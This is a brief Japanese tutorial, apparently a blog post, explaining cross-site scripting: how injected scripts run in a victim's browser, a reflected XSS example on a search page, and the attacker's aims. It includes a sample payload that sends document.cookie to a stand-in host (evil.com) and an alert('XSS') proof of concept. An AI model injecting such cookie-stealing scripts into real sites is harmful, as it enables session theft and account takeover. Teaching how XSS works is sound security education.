Hello there, ('ω')ノ
🔁 攻撃の流れ(基本)
攻撃者が悪意あるスクリプトを仕込む
- 例:
<script>document.location='https://evil.com?cookie='+document.cookie</script>
- 例:
Webアプリがスクリプトを無害化せずに表示
- 被害者がWebページを開くと、そのスクリプトがそのままHTMLとして表示される
被害者のブラウザでスクリプトが実行
- クッキーやトークンの盗難、ページの改ざん、偽フォームの表示などが行われる
攻撃者がユーザーになりすまして操作したり、情報を盗んだりする
💡 具体例
たとえば、以下のように検索結果を表示するページがあるとします:
https://example.com/search?q=hello
検索キーワードをそのまま画面に表示している場合:
<p>検索結果:hello</p>
攻撃者が次のような検索クエリを作ると:
https://example.com/search?q=<script>alert('XSS')</script>
出力が以下のようになる可能性があります:
<p>検索結果:<script>alert('XSS')</script></p>
これにより、JavaScriptが実行され、アラートが表示されます。
🧠 攻撃の目的
XSSによって可能になる悪意のある操作の例:
- ユーザーのセッションIDを盗む
- フォームを偽装して情報を奪う(フィッシング)
- 他ユーザーにマルウェアを配布する
- アカウントを乗っ取る
✅ ポイント
- XSSはサーバーではなく、ユーザーのブラウザでコードが実行される
- 脆弱性は、入力値をそのまま出力してしまう箇所に存在する
- JavaScriptが実行できる箇所を見つけることが攻撃のカギ
Best regards, (^^ゞ